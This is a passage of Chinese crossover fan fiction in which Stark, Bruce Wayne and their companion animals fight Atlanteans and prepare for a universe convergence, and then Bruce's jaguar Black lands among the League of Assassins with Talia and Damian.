看大红那边，猝不及防，被海水浇得一头一身都是，正在疯狂抖毛呢，这下两只猫猫是一点都不想靠近这些玩意了。 倒是塔塔玩的开心。 海啊！ 你都是水~ 水獭快乐Day~ 利用自己的牙齿，塔塔撕咬着这些亚特兰蒂斯人的防护服。 别看大红咬起来一口一个，这些防护服其实非常坚韧，子弹扫上去都不一定能有什么实际性的效果，也就是伴生动物成长到现在，总是跟各种超能力者混在一起，自身的能力也在被动的不断升级，这才能在行动中做出有效反映。 但塔塔的主要强化在影响力上，而不是牙齿的强调，它咬不开防护服…… 哀怨的塔塔决定大力出奇迹，不断在一个地方反复啃咬。 亚特兰蒂斯人又不是傻子，自然要想尽办法阻止它，可塔塔体型相对来说较小，行动又快，扒在防护服上快速爬行，就跟只大耗子似的，惹急了就往这些人后背上爬，他们凭自己的一双手，根本抓不住塔塔。 如果是两人互相帮助可能还有些办法，可其他小动物可不会给他们伤害塔塔的机会。 刚才还在观望的白葵猛地放出自己的绿色能量，凝聚成巴掌，扇飞那个正要去他人背后抓捕塔塔的亚特兰蒂斯人。 眼看更多的亚特兰蒂斯人聚集过来，闪电鼠猛地冲出去。 它快速的在每个人脚边路过，放下大石头，保证石头在他们下一步落脚掉下，这样他们就能刚好踢到大石头，脚趾的疼痛会让他们大声哀嚎，并有很大概率倒在地板上，在接下来的几秒内失去战斗和行动能力。 而此时多纳滋已经撕开一个亚特兰蒂斯人手上的防护服，随着水喷涌出来，它躲去一旁，快速跑着，路过另一个亚特兰蒂斯人，却无视掉这个人，直接去攻击下一个目标。 而刚才被路过的那个亚特兰蒂斯人也不会就此逃出生天。 帕夫已经来到他的身上，以帕夫的牙口，随意一咬就足以撕开防护服，随后从这人肩膀高高跳起，附近还有敌人就直接跳去敌人的身上继续撕，没有的话就瞄准多纳滋跳过去，回到金毛后背上，等金毛送它去找下一个目标。 大金毛的移动速度可比小小的金丝熊快多了，对于帕夫来说，这绝对是最佳交通工具。 房间里，薇薇和馍馍没有急着动弹，馍馍是没有主动去战斗的意识，薇薇则是在精神链接中敲了敲斯塔克：“要我们帮忙吗？” “如果事情控制不住的话，你们再考虑出手。”斯塔克是这么说的。 关于薇薇和馍馍的能力问题，斯塔克和布鲁斯讨论过，这个平行宇宙中还没有诞生强悍的精神能力者，查尔斯·泽维尔算一个，可人家还在成长期，年轻的小教授影响范围还是十分有限的。 在这样的情况下让他们从薇薇或者馍馍身上认知到精神能力者的可怕之处，也许会对这个平行宇宙的发展带来负面影响。 别搞得他们提前开始反变种人，那就麻烦大了。 鸮鹦鹉则是蹲在窗前，隔着玻璃围观外面热闹的场景。 它对这些事情没有兴趣，大家也好，和同伴打配合也好，太热闹了，不适合它。 鸮鹦鹉的生活习惯基本契合班纳博士。 一个热狗一杯咖啡，一点工作，一天的时间就过去了。 同时它又结实且额外抗揍，像个韧性十足的解压球，如果绿巨人浩克有需要，鸮鹦鹉也能提供帮助。 不过就白葵和斯塔克带来的情报上看，浩克很喜欢鸮鹦鹉，怎么发疯都舍不得打它，所以现在浩克只要发疯，他们就把鸮鹦鹉往他脸上一放，浩克就会老实了。 而这次让鸮鹦鹉来平行宇宙帮忙，最大的反对者也是浩克。 “他差点把斯塔克大厦搬起来砸到我的脸上。” 说起那时候的事情，斯塔克翻了个白眼。 大概是因为斯塔克和班纳经常一起工作的缘故吧，浩克似乎额外不喜欢斯塔克，当然，浩克更不喜欢班纳。 “嘎，还好他们现在一样喜欢那只鸮鹦鹉。” 因为两大联盟一起解决交汇问题而在一起讨论事情，期间白葵也有幸经历了一次来自绿巨人的亲切问候。 它对此心有余悸，回想起来就会嘎嘎乱叫。 “你肯定招他了，”关于这件事情，斯塔克还是站浩克的，毕竟能算是队友，“浩克喜欢小动物，喜欢玻璃制品，心性上来说其实很细腻，你是只毛茸茸的、看起来就很脆弱的小动物，你不惹他的话，他只会害怕不小心把你弄死，根本不敢主动碰你。” “嘎……” 在这方面确实嘴欠爪也欠的白葵嘎了一声，然后就心虚的不再说话。 小动物们和斯塔克紧密配合，它们迅速搅浑了战况，让那些敌人没了先机，也给现场的其他人留出反应时间，很快军队重整完毕开始进行有序反击，枪声响起，斯塔克招呼上小动物去了安全区域，围观军队打掉这一批偷袭后方的海底人。 白葵大概是打爽了，发出“yahoo~~”的动静。 同样玩水玩爽了的塔塔昂起脑袋，学着它努力狼嚎。 “嘤啊——” 但是只发出了这样奇怪的动静。 “玩开心了？”斯塔克撸了撸塔塔的脑袋。 “嘤嘤~”开心~ 塔塔顺着斯塔克的衣服就爬了上去，湿漉漉的水獭迅速毁了斯塔克的西装，斯塔克也不在意，还亲了塔塔一口。 “走，回去洗澡，这些海水黏在毛上对你的皮毛不好。” 毕竟塔塔是水獭又不是海獭。 “嘤~” 得到塔塔肯定的答复后，斯塔克又对多纳滋、帕夫和大红喊道：“你们三个，也过来洗澡，你们的毛更不能一直泡着海水，会得皮肤炎的。” 其实伴生动物并不会得皮肤炎症，但泡着海水确实不舒服，盐分结块后抖都抖不掉，只能挠，爪子一抓下去跟皮屑似的到处飞白沫，简直是恐怖片才有的场景。 多纳滋一口叼起帕夫，跟上斯塔克的步子。 大红则是在犹豫片刻后才跟上去。 “干嘛，我又不会害你。” 大红哼了声。 大红对斯塔克是有些防备的，但不是防备斯塔克这个人本身，只是单纯的不太熟而已，大红虽然是捷克狼犬，身上却有种街头巷尾流浪犬才有的特质。 它过分谨慎敏感，总是怀疑一切，每一步都充满试探，可若是给它看到了攻击的机会，它又毫不犹豫，凶狠无比。 也就是这样的野狗，才能在哥谭的街头活下去吧。 …… 洗澡对于塔塔来说是件无比快乐的事情。 给它在浴缸里放满温水，加上一只橡皮小黄鸭，它自己就能在里面玩一天。 帕夫自己在小陶瓷盘里洗澡。 多纳滋和大红则排排站，斯塔克拿了个小马扎坐着，给它们身上打上沐浴露。 “是用沐浴露吧？还是洗发露来着？”斯塔克头疼的嘀咕。 在他们自己的斯塔克大厦内部有专门给动物洗澡用的低敏肥皂，是那种清洁能力不算强悍，主打温和的款式，很适合给动物洗澡，要知道很多动物的毛发都靠它们自体的油脂覆盖才能保持健康，清洗太过彻底对小动物来说可不是一件好事情。 轻则容易掉毛，重则引起皮肤炎症和其它问题。 “早知道带两块肥皂来了。” 斯塔克还在嘀嘀咕咕。 这里男士用的沐浴露一个两个都是N合一超强清洁，看着他就头疼，女士那边他又不好过去，只能用水稀释后再拿来用，并再次庆幸伴生动物的身体素质足够强悍，偶尔给它们用人类的东西也不用担心这会对它们造成伤害。 “我们没那么弱啦。” 鸭嘴兽薇薇也来凑热闹，滑进塔塔的浴缸里，和水獭一起游泳。 “我们很强大的哦。”薇薇对斯塔克强调。 这换来斯塔克温和的笑，和一个轻轻地揉头。 第93章 战争的进展比预料中的顺利。 卡尔举着那只巨大的怪物离开深海,升上天空，他带着这么一大团的东西一路向上飞去，哪怕这怪物将他紧密缠绕,卡尔也完全不在意,只跟着精神链接中馍馍提供的指引不断往太阳的方向飞去。 “你知道他和太阳之间的距离？” 斯塔克用双手搭了个帐篷, 说真的, 上了宇宙后他们这边根本看不到卡尔的位置。 在馍馍说话之前,薇薇那略带卡顿的,一点都不像个生物的动静出现,它告诉斯塔克：“太阳知道它跟卡尔的距离。” 这话听着就有些可怕了，怎么感觉太阳是个活物似的？ “你又在故意恐吓人对吧？”斯塔克问。 薇薇没有回答。 “……” 这个沉默就更吓人了。 斯塔克的思维又比较跳跃, 突然想到一个有趣的事情。 “如果太阳是个活物, 地球算是它的伴生小动物吗？” 薇薇笑了两声, 依然没有接话。 如果往这个方向想，事情至少没那么恐怖，孤独的太阳孵化出作为伴生的地球,而地球为了给太阳一些乐趣，养出各种生灵给太阳打发时间。 “然后现在其中一个生灵将垃圾丢向了太阳？”心灵链接里响起布鲁斯的声音。 “呃。”斯塔克瞬间卡壳，因为事情到这一步，听起来就没那么美好，但斯塔克还是想让故事维持之前的那种状态，于是他努力的换个说法，“为什么不是……不是你的猫猫特地抓来老鼠给你,只是觉得你今天没吃多少肉，所以想给你加个餐呢？” 如果说成反向投喂的行为, 是不是立刻变得可爱起来了？ 布鲁斯：“……听起来，你变得活泼了。” “你在吐槽我变得幼稚了吗？”斯塔克嘴角抽搐的抗议, “你也活泼了不少，要是以前，你可不会允许有人私自行动，就算当时用尽算计也控制不住，后续也难免会吵起来。” 但这次，布鲁斯展现出的包容性让斯塔克怀疑这货到底是不是真的布鲁斯·韦恩，不会在什么没人知道的时候被人神不知鬼不觉的换掉了吧？ 斯塔克用开玩笑的口吻问道：“你这家伙这么好说话，真的是蝙蝠侠？” 布鲁斯：“……”他怀疑斯塔克就是在找茬。 “前线怎么样了？”斯塔克换了个问题。 “还好。”布鲁斯的回答十分含糊，“亚马逊人手不足，我们能调用的兵力也算有限。不过，你怎么知道我在前线？” “猜的，那位女士一定是往前线去的，布莱克跟着她，自然也在前线，你说着不去过多干涉，可真到了那里，我是忍不住的，难道你就能忍住？” 布鲁斯和斯塔克两人，真的有很大的差别吗？ 他们的冲动、愤怒、痛苦…… 斯塔克走了个神，又迅速收拾好自己的思绪，不让它们有机会顺着精神链接蔓延开。 “总之，就是这样了，很好猜。” 布鲁斯嗯哼一声，没有评价斯塔克这段推理如何，不是他被说中了在恼羞成怒，而是手上实在抽不出空闲。 他正忙着跟布莱克纠缠呢。 大猫猫一点都不听话，布鲁斯压根没指望这家伙会愿意乖乖跟自己回去，他很清楚，布莱克现在更在意的是玛莎的状态，很可能为了玛莎拒绝返回，可布鲁斯必须带它回到自己的平行宇宙。 也是因此，布鲁斯的选择一开始就不是去正面谈判，而是背后偷袭。 但要袭击一只美洲豹…… 不用思考都能知道，这可不是件简单的任务。 更不要说这可不是普通的美洲豹，布莱克是布鲁斯的伴生，是跟着蝙蝠侠一起工作的豹子，它的警觉和灵活度，以及那些战斗技巧，可不是常人能扛下来的。 就算是布鲁斯本人要和布莱克对抗，都不得不打起十二万分的精神。 布鲁斯刚找到布莱克的时候，它正和玛莎消灭一小队海底人，他们两配合的非常完美，玛莎负责吸引敌人，布莱克从高处跳下，扑袭那些人，当场压翻一个，海底人不知道是什么情况，转头去对付布莱克，而此时玛莎又扬起她的撬棍，一下一个小朋友，送那些海底人去见他们的祖宗。 这是战争。 布鲁斯只是在暗处看着，等着一批人收拾完毕，布莱克没有立刻离开。 玛莎也注意到了什么，转着撬棍，另一手上的小丑牌突然射向布鲁斯所在的那棵树干，钉在上面。 “要我帮忙么？亲爱的，你的饲主一点都不知道礼貌。” “哇呜。”布莱克轻声叫唤，没有实际意义。 但玛莎似乎从中收到某种确切的信息，于是她揉了揉布莱克的脑袋壳子，自己走向远处的海滩，那里还有些灵星的战斗，玛莎走过去，加入他们。 布莱克则走向布鲁斯的方向。 只是走了几步而已，布莱克似乎感觉到了什么，它和布鲁斯几乎同时选择离开原位，各自换了新的藏身之处。 猫科的爪子安静，捕猎时呼吸也几乎没有声音，布鲁斯靠着细微的枝叶声，那些不是风造成的，略有些不自然的动静来迅速锁定布莱克的位置，机会稍纵即逝，布鲁斯立刻使用改造后的绳枪对着那个方向射出套索。 可惜还是晚了一步。 布莱克毫不意外的躲开套索，并冲向布鲁斯。 大猫猫和它的孵化者就这么扭打在一起。 草叶乱飞，枯叶重新回到空中。 他们的缠斗将周围弄得一片混乱。 在这份混乱中，一个法阵悄悄打开，警觉的大猫猫和警觉的布鲁斯同时停下爪上的动作，一起看着法阵。 就见奇迹从中探出脑袋，看着他们，那模样十分无辜，也不说话，就默默在他们边上的山坡下方又开了一个法阵，布鲁斯立刻明白这货要做什么，于是用了个巧劲，趁着布莱克还在疑惑奇迹这是几个意思的空档，推着布莱克一起倒下去。 “哇呜？” 布莱克猫都傻了，下意识的抱紧布鲁斯，布鲁斯也伸手护住它的脖颈和脑袋。 两只就这么一起滚进法阵里，砸在双人沙发上，同时被他们砸到的，还有毫无防备的正在沙发上梳理羽毛的白葵同学。 “WTF？！”白葵叫得老大声了。 传送门在它们滚进来之后也并未立刻关上，奇迹自己也进来了，还顺势召唤来星期五。 到此为止，除了还在外面浪的小红和极乐鸟，所有小动物都集合完毕。 斯塔克端着咖啡走进来，看到布鲁斯正骑在布莱克身上，压着豹子，按着这货的脑袋，而布莱克那副低吼的模样，看着特别像是已经决定好从哪里开始吃这个胆大包天的人类了。 “人类的肝脏很肥美哦。”薇薇还在那拱火。 看戏状态的薇薇可能只是在瞎起哄，可真的有些不爽的布莱克好像还挺心动的。 它斜眼看着布鲁斯，眼睛里充满了捕猎的念头。 布鲁斯看回去，完全不怕它。 “我知道你不想离开玛莎，但你也该知道，这是必定要发生的事情。”布鲁斯一字一顿的对布莱克说。 长痛不如短痛。 这点他们都清楚得很。 布莱克对此也是心知肚明，一开始也没认为自己会陷入冲动。 但玛莎是个例外。 虽然相处时间非常短暂，可那些温和的梳毛，床边低声轻语的故事，以及专门制作的符合布莱克口味的点心，无一不在刺激着布莱克的神经。 但它也清楚，那些本质上都是给布鲁斯的。 是因为它表现出的某些特质，那些因为布鲁斯的影响而产生的特殊性，这些东西让玛莎做出错误判断，将它视作这个平行宇宙的布鲁斯的转世之类，所以才会给它这么多关爱。 从头到尾布莱克都很清楚这件事情，所以它自己也会感到疑惑。 为何自己会深陷其中？ “因为你是我的伴生，会受到我的影响，这再正常不过了。” 这么说着，布鲁斯放开了布莱克，看大猫猫猛地蹿到房间角落里去，在离他最远的位置，警惕的观察他的一举一动。 布鲁斯主动走向这只大猫猫。 “你不必为此感到困惑或者自责，你做的选择，本质上就是我的选择，你是……更加直白，更加感性的那个我。” 布莱克沉默的看着逐步靠近的布鲁斯，它听到布鲁斯轻声说：“那是我的愿望。” 冲动的想要留下来，想要呆在母亲身边。 这些都是布鲁斯的情绪。 而布莱克，它只是不想让布鲁斯继续沉没在痛苦中，想要让自己的孵化者心脏处永恒缺失的部分获得填补。 这次平行宇宙之行在布莱克的预料之外，却让它看到了一个绝佳的机会。 和斯塔克遭遇的情况不同，这里的的韦恩夫妇在那一日失去了他们的孩子，而布鲁斯恰好失去的是自己的父母。 小动物不会考虑什么世界存亡的大事。 不会思考自己的平行宇宙少了蝙蝠侠会变得幸福或者不幸。 布莱克只是单纯的，注意到自己孵化者的变化。 布鲁斯在韦恩夫妇身旁的时候，他更像一个人类，活着的……人类。 “尊重我的选择，好吗？布莱克。” 可蝙蝠侠只是这么对它说。 布莱克在蝙蝠的阴影里低下脑袋，而蝙蝠侠则蹲下来，抱住它的脖子。 第94章 锈斑猫看着布鲁斯和布莱克的互动。 然后扭头看向薮猫。 以后, 它也会遇到独属于它自己的那只锈斑猫吧。 这样想着，锈斑猫跳上斯塔克的肩膀，和自己的孵化者亲密的蹭了蹭,距离交汇时间还有一小时左右。 “喵？”锈斑猫低声叫着,问：要去见见他们吗？ 斯塔克知道锈斑猫是在问他要不要去见见斯塔克夫妇, 他们也在后勤这边, 但却是在指挥部门, 没有和斯塔克、小动物们这帮“闲杂人等”呆在一起。 如果还想再见一面的话, 现在就该动身了。 斯塔克却没有动弹的意思。 “难得给他们了一个好印象, 见好就收吧。” 说着，斯塔克挠了挠锈斑猫的下巴。 若是再一次见面, 到时候自己是否能保持冷静和理性, 维持住之前留下的良好印象, 关于这个方面，斯塔克并没有自信。 他不擅长告别，还是别去比较好, 万一把场面搞难看的话……多糟糕。 现在的满足和宁静，刚刚好。 斯塔克合上眼睛，用下颚蹭着锈斑猫的头顶。 而布鲁斯那边，显然也没有再去告别的意思，不然刚才见到玛莎的时候他就不会选择沉默隐藏了，而且托马斯也在那片区域，布鲁斯想见的话,是有机会的。 但他没有。 也不要那个机会。 布莱克趴在角落里，在舔爪子, 那行为像是在放松，又像是在自我安慰。 玛莎知道它来自另一个平行宇宙,自然知道它早晚要回去的，流落其他平行可不是什么幸福的事情，玛莎那时候选择走开，就是不打算阻止布莱克离去的意思。 布莱克明白，所以心情额外的微妙。 就……很闹心。 这时候，所有人和小动物都能靠近它，不碰就不会挨打，但唯独蝙蝠侠不行，蝙蝠侠只要出现在它附近就会立刻被锁定，靠近三米内就会遭到攻击。 “要我说你也是活该。”斯塔克看着就想笑，“明明可以先说清楚再动手，你非要先动手再去解释。” “先说清楚来意，如果它不认同，我就没有抓住它的机会了。” 布鲁斯向斯塔克丢去一个不赞同的眼神。 布莱克的身手可不是普通的大猫，它要跑，布鲁斯也没有把握一定能把它抓住。 更何况玛莎很可能会帮布莱克的忙。 这又是一个新的疑点，斯塔克是没想明白，为什么玛莎要走？刚才那个情况，如果是玛莎和布莱克一起攻击，布鲁斯的胜率会直线下降迅速归零。 “托马斯跟他聊过了吧。”布鲁斯猜测。 对于托马斯来说，黑色美洲豹是不是这个宇宙的布鲁斯的映射或者转世根本不重要，它既然属于另一个平行宇宙，那就必须返回那边。 从一开始，他们就是注定了要分开的。 “相遇只是短暂的奇迹，分离才是永恒的结局。” 馍馍在他们脑袋里哼哼着，不知道从哪里听来的话，它也去过不少人的大脑，那些在林间小屋附近被它袭击的人，其中不乏一些来找灵感的作家和画家，他们的脑袋里总有些奇怪的句子。 “我还以为你不喜欢这些，负面的？”斯塔克走过去，揉了揉貘的脑袋。 “只是觉得合适。” “这倒也是……”斯塔克无言以对。 这时候薇薇突然开口：“但其实也可以这么说：生命是短暂的奇迹，死亡是最后的归宿，而我们都将在那边相遇。” “……”斯塔克在那里卡壳了几秒钟，反应过来，“等等，你在试图安慰我们吗？” “嗯。”薇薇大方承认了。 斯塔克嘴角抽搐，哭笑不得的摇着脑袋。 “……没有被安慰到，我的天，你比我还会安慰人。” 认为自己已经努力了的薇薇抗议的看着这货。 奇迹……么？ 布鲁斯在内心反复咀嚼这个简单的单词，他看向奇迹，此时奇迹正和星期五一起排排趴在墙边，看起来就像是星期五的影子，或者星期五是它的影子。 感觉到人类的视线锁定在自己身上，奇迹转动脑袋，看向布鲁斯。 人跟狗互相对视。 几秒后布鲁斯移开目光。 “怎么？”斯塔克走到他身边，看两只黑狗排排趴的样子，大概是觉得好玩，顺手拍下一张照片作为纪念。 “没什么。” “……” 斯塔克几乎可以肯定，这家伙一定是发现了什么问题，并且完全没有分享的打算。 最直接的证据就是，在刚才人狗对视结束后，布鲁斯浑身上下那种微妙压抑的气氛完全松解开来，恢复回平日里那种过分冷淡的状态。 也是在这时候，一直在前线战场的小红和极乐鸟终于安全返回。 它们落在窗户外面，用鸟喙敲击玻璃，大红凑上去，用爪子压下把手，给它们打开窗户，两只鸟进来后大红又将窗户关好。 “结束了？”布鲁斯问。 小红左右摇头：“叽啾。”还没有，战况还可以，但不是绝对能胜利。 如果有的选，小红和极乐鸟都想再多留一会，可现在已经是蝙蝠侠愿意给它们的最后时限，说好的这个点必须返回，这两只鸟崽子也还算听话，至少比它们的孵化者听话，说这个点必须回来，还真的乖乖回来了。 作为表扬，蝙蝠侠用指腹蹭了蹭两只小鸟的脸颊。 此时距离交汇还剩下半个小时。 这处军事基地本身还在战备状态，气氛非常紧张，布鲁斯知道他们所在的房间外面还守着警卫，原则上禁止他们进出。 布鲁斯和斯塔克也无意添乱，就在屋子里呆着，一个打开护腕上的微型电脑不知道在分析什么数据，一个从书架上随便抽出本书来看。 小动物们十个有九个已经睡熟。 锈斑猫没有睡，只是抱着睡的不省人事的塔塔吸着，嗓子里发出咕噜噜的呼噜声，那是锈斑猫在自己安慰自己，它的眼睛则始终看向门那边，刚才斯塔克亲自打开这扇门，放薮猫出去，锈斑猫知道，它大概是不会返回了。 斯塔克只是偶尔看锈斑猫一眼，观察它的状态，见它只是有些忧虑，并没有表现出焦躁或者陷入沉思，就没有去打扰。 他很清楚，锈斑猫现在需要的是缓和的时间，而不是安慰。 至于陪伴这方面，塔塔就在那里给它吸呢，还睡得死死的，不会看到锈斑猫失态的一面，对于现在的锈斑猫来说，这无疑就是最好的陪伴。 最后十分钟，布鲁斯拍拍手叫醒小动物们，示意大家保持注意力集中。 “交汇后你们的出现地点无法确定，自己保护好自己，有需要的可以来拿定位装置。” 锈斑猫不需要定位装置，它身上有斯塔克留下的纳米军团，但它给塔塔拿了一份，并强行给塔塔脖子上戴上。 “嘤……”不舒服嘛…… “喵呜。”坚持一下，等我们找到彼此你就可以摘掉它。 在锈斑猫的坚持和不断安慰下，塔塔勉强接纳这个东西的存在。 多纳滋和帕夫也各自领取对应体型的定位装置。 “我不用嘎。”白葵缩起爪爪，表示自己的能量就可以捏一个临时通讯器，不需要再额外装备定位装置。 闪电鼠也不必佩戴这个，它的速度，随时可以找到闪电侠。 鸮鹦鹉还是那副对万事不关心的模样，斯塔克走过去把它的爪爪撸出来佩戴定位装置，它就跟个没脾气的皮球似的，给撸，伸爪，戴装置。 然后自己默默缩回爪爪，变成那个绿色大皮球。 小红、极乐鸟身上原来就有定位装置，大红则果断表示：“滚！”。 星期五和奇迹不用这个，奇迹可以用玄戒自由移动，然后召唤星期五，它们想去哪里都没有问题。 “来。”斯塔克对一动不动的薇薇和馍馍招招手，“知道你们不喜欢，这东西又丑，戴着也不算舒服，换我我也不乐意，但你们两个是一定要戴的，九头蛇还在找馍馍，薇薇也很容易成为目标，等我们找到你们，就可以摘了，稍微坚持一下好不好？” 也许是这段时间带崽比较多，斯塔克都变得会哄小朋友了。 在他温和的劝导下，薇薇和馍馍互相看看，最终松口，同意佩戴定位装置。 布鲁斯对大红的“劝导”就没有那么顺利了。 大红无所谓自己丢了怎么办，它当只流浪狗也能有办法找回哥谭，回到杰森身边，而布莱克站大红这边，同样拒绝佩戴定位装置，大不了就流浪，它们还能饿死在外面？ 看着这两货，布鲁斯就在那默默运气。 这气运着运着，交汇就发生了。 倾倒的感觉突然出现，也可能并未出现，一切都像是错觉。 本来正跟蝙蝠侠飞机耳的布莱克只觉得周围微妙的有了些改变，它眨眨眼，回过神来，发现自己在一处完全陌生的地方。 不是哥谭。 也不是纽约。 布莱克环视一圈，发现自己应该是在一处洞xue内，看着面前颜色诡异的水池，布莱克有些反应不过来。 它这是到了个什么鬼地方？ 还没等布莱克想清楚下一步要怎么做，就听到自己身后响起一个陌生的声音。 “谁允许你进入这里的？” 女人的声音，严肃，充满杀意。 布莱克立刻向旁边跳开，躲开女人射出来的飞刀，以及随后刺来的长剑，擦肩而过的时候，布莱克嗅到了熟悉的气味。 达米安？ “母亲！布莱克！” 达米安的声音还真的出现了。 布莱克张大眼睛，看着拦在自己面前的、穿着完全陌生服饰的达米安。 他现在不是哥谭那只坏脾气的罗宾鸟，不是达米安·韦恩。 他是刺客联盟的继承人。 是恶魔之子：达米安·古尔。 第95章 孩子冲到人和大猫之间,他选择将后背留给布莱克，因为布莱克绝对不会攻击他，而面对塔利亚是很有必要的,他母亲发癫起来,儿子什么的其实不要也罢,反正还有储备的胚胎可以再做下一个。 达米安像只炸毛的猫, 浑身上下都写满了紧张。 塔利亚看着自己的儿子,再看看儿子护在身后的那只大猫。 那是一只大骨架的黑化美洲豹。 不论怎么想,这都不是在他们这里会出现的生物。 要知道, 这里可是沙漠。 更不要说神不知鬼不觉的出现在这处洞xue，他们的禁地——拉撒路之池。 “滚开。” 塔利亚对达米安下令。 “No。”恶魔之子冷漠的拒绝了这个命令, 并用同样毫无温度的声音对塔利亚说：“它是我的猫, 如果你要攻击它, 就是在向我挑衅。” 这对塔利亚来说不是问题。 确定达米安这b崽子不知分寸，居然敢抵抗来自母亲和首领的决定，既然说的对达米安没有效果,那塔利亚也不介意用武力展开新一轮的教育，告诉他什么是服从。 在塔莉亚的剑劈过去的瞬间，达米安也拔剑迎了上去。 剑刃相撞的声音刺在耳膜上。 布莱克背过耳朵，大猫猫有些疑惑，现在的情况是怎么回事？为什么达米安的母亲会突然攻击他？ 要知道，达米安还是一只幼崽，没到需要被驱逐的年纪。 在布莱克愣神的片刻功夫中, 两人已经过了两招，塔利亚又扫了达米安一剑, 这次的角度额外刁钻，孩子差点没能防住, 勉强格挡后被塔利亚一脚踹到墙上。 布莱克的耳朵都要背没了，视线在两人之间来来回回。 它不明白这两人为什么会打起来。 再次感谢蝙蝠侠的数据库。 布莱克迅速在脑子里翻出几个案例以供自己参考。 母亲攻击孩子的事情，在人类社会也是存在的。 布莱克努力回忆，据说……是同生存压力和精神消耗有关？ 就像是猫咪中也会有妈妈因为处于压力环境中，在感到自己无法安全抚养幼崽至成年的情况下，无奈选择吃掉幼崽保全自己。 同样是哺乳动物，人类会有这种行为也是合理的。 布莱克并不能百分百确定自己的推理是否正确，但这至少是一个思考方向，也能提供一些可以去尝试的解题思路。 唯一的问题是，压力是从哪里来的？ 布莱克环视一圈。 这里就是个洞xue而已，看不出有什么问题。 那是在外面？在她的生活环境中？ 眼看在短短一瞬的时间里，塔莉亚已经朝达米安刺出两剑，虽然都被达米安挡住了，却也险之又险。 这个身手基本可以排除遭受强敌威胁。 生活环境吗？ 布莱克嗅了嗅，感觉自己闻到了陌生的味道。 不是雨林、森林、城市的气味。 它看向塔莉亚的脚底，看到了黄色的、细碎的颗粒。 “喵呜。”在不适合生活的地方长期生存对心理健康非常不好。 布莱克向达米安提出建议。 “喵？”要不要邀请你的母亲去哥谭居住？ “嗯？” 塔莉亚被大猫十分有序的叫声吸引，那明显是在传达某种信息，也许是多少有些在意这东西来历吧，塔莉亚因此暂停下攻击，她看向达米安，要求儿子为自己提供猫语翻译。 达米安有些疑惑。 因为后面那一声好像含有邀请的含义。 但是邀请谁？又要去哪？ 总不能是邀请塔莉亚去哥谭吧？ 那蝙蝠侠的脸色一定会非常精彩的。 “布莱克？”达米安用余光去看布莱克，试图向对方确认刚才那声喵的含义，“你想让塔莉亚去哥谭？” 其实，达米安是纯粹在乱猜，他并不能确定布莱克的意思，得出结论的依据也只是那声里面包含“邀请”的含义，而“哥谭”这个目的地…… 主要是达米安也想不到布莱克还能邀请塔莉亚去哪里。 只能是哥谭了。 没想到的是布莱克居然点了头。 它居然真的想要邀请塔莉亚去哥谭。 为什么？ 达米安陷入头脑风暴。 利用人类中优秀基因合成的拥有超强的智慧和思维速度的大脑开始过载，并快速交还给达米安一个抽象的答案。 ——布莱克通过嗅觉发现了塔莉亚和达米安之间的亲子关系。 它邀请塔莉亚去哥谭，很可能是因为达米安还是幼崽，需要母亲，特别是在父亲布鲁斯·AKA蝙蝠侠·韦恩特别不靠谱的情况下。 达米安：…… 感动，并且有些无力。 对不起了，布莱克，我的母亲和父亲一样不靠谱。 但是没有关系，我很靠谱。 达米安想着。 我不需要照料者，也不需要成年人的帮助，无论是森林还是城市，只有我自己也没有问题，能活下去，甚至还能再养一只大猫猫。 塔利亚看着自己家小屁孩在那胡思乱想。 小孩子脑子里的东西就那么些，对塔利亚来说太好猜了，而且达米安可能还没有意识到，无论刺客联盟还是蝙蝠侠，都不可能允许他就那么单独流浪在外，刺客联盟对他还有需求，而蝙蝠侠大概是因为这是自己的孩子，不可能随意放手。 “你是想把他带走么？小猫。” 达米安没有提供翻译，塔利亚就自己猜测布莱克可能会表达的内容。 布莱克点头，它当然要带达米安回哥谭，达米安还是个孩子，虽然强大，可也不该离家这么遥远，不过这并不是刚才它说的意思，于是布莱克又摇了摇脑袋。 塔利亚更不理解了，于是她继续往下猜：“你是那只猫的猫？” 布莱克：？ 猫的……猫？ 什么猫？ “它不是猫女的猫，它是我的猫。” 达米安听懂了，并在旁边提出抗议。 而布莱克依然听不懂。 猫女？ 猫、女？ 就和蝙蝠、男一样的意思吗？ 因为是男性，然后扮成蝙蝠怪物的模样，所以是bat man。 那这个猫女就是扮成猫模样的……女性？ 布莱克是觉得人类很奇怪。 为什么总喜欢扮成别的东西，明明世界上最具破坏力、最难以揣测的生物就是人类，他们却还要把自己扮成别的东西来增加威慑力或者神秘感。 “哇呜。”总之，你们不要打了。 布莱克对他们发出叫声。 这次的叫唤倒是很容易理解，达米安明白过来，却没有收回武器，只是死死盯着塔利亚，防止这女人偷袭。 看达米安实在是太紧张，布莱克开始往前走。 它来到塔利亚和达米安之间，横在这边，这是一个很明显的阻拦架势，布莱克在用明确的肢体动作示意他们停止打斗。 这次达米安提供了翻译：“它认为我们不该打架。” “你要是懂事一点，确实不该。”塔利亚也能看出这大猫和达米安关系匪浅，于是暂时收起武器，让达米安说明这玩意的来历，“在我决定剁了它加餐之前，解释。” “它是……”达米安迟疑片刻，还是说了一部分实话，“它是父亲的豹子，前段时间失踪了，现在出现在这里……你身上有父亲的定位吗？”达米安问。 布莱克摇了两下头，表示自己没戴。 绝对不戴。 蝙蝠侠会养一只美洲豹？而且这美洲豹明显有问题，它的表现足以证明这家伙有和人类相当的智慧，要不然是美洲豹自体变异，要不然是人变异成美洲豹。 这异常的情况让塔利亚来了点兴致。 “他为什么要养动物，我是指，罗宾除外？” 塔利亚这话说的。 达米安差点又想拔刀了。 考虑到说谎容易被直接发现，达米安依然选择只说部分真相。 “他不得不养。” 这可是蝙蝠侠被窝里孵化出来的毛茸茸，蝙蝠侠没有选择，他不得不养！ 想到这里，达米安磨了磨牙。 为什么自己还没孵出独属于自己的毛茸茸？ 不可能是地理因素，纽约和哥谭都有毛茸茸诞生，也不是身份问题，外星人都可以，还能有什么问题？更不会是年纪问题，小乔的被窝里都出货了，怎么就他没有？ ！ 达米安恨的直磨牙。 塔利亚并不懂自己娃这是发的哪门子疯，她对布莱克示意。 “既然你是那家伙的猫，最近就住在这里吧。” 布莱克点了点头。 它不确定这边的宇宙过去了多少时间，也不知道达米安为什么跑到这么远的地方来，需要调查的事情还很多，但不管怎么说，蝙蝠侠那边肯定不需要它操心，相比之下还是达米安更重要一点。 于是布莱克就这么跟着塔利亚往外走，走出洞xue ，感受沙漠的干燥气候。 达米安跟在布莱克后面，依然警觉，而塔利亚没有继续为难他们，示意达米安可以带走布莱克，达米安就带着布莱克回到自己的住所。 路上布莱克注意到他们住的地方非常宏伟，是个巨大的宫殿？城池？布莱克不确定用什么量词来描述这里更合适。 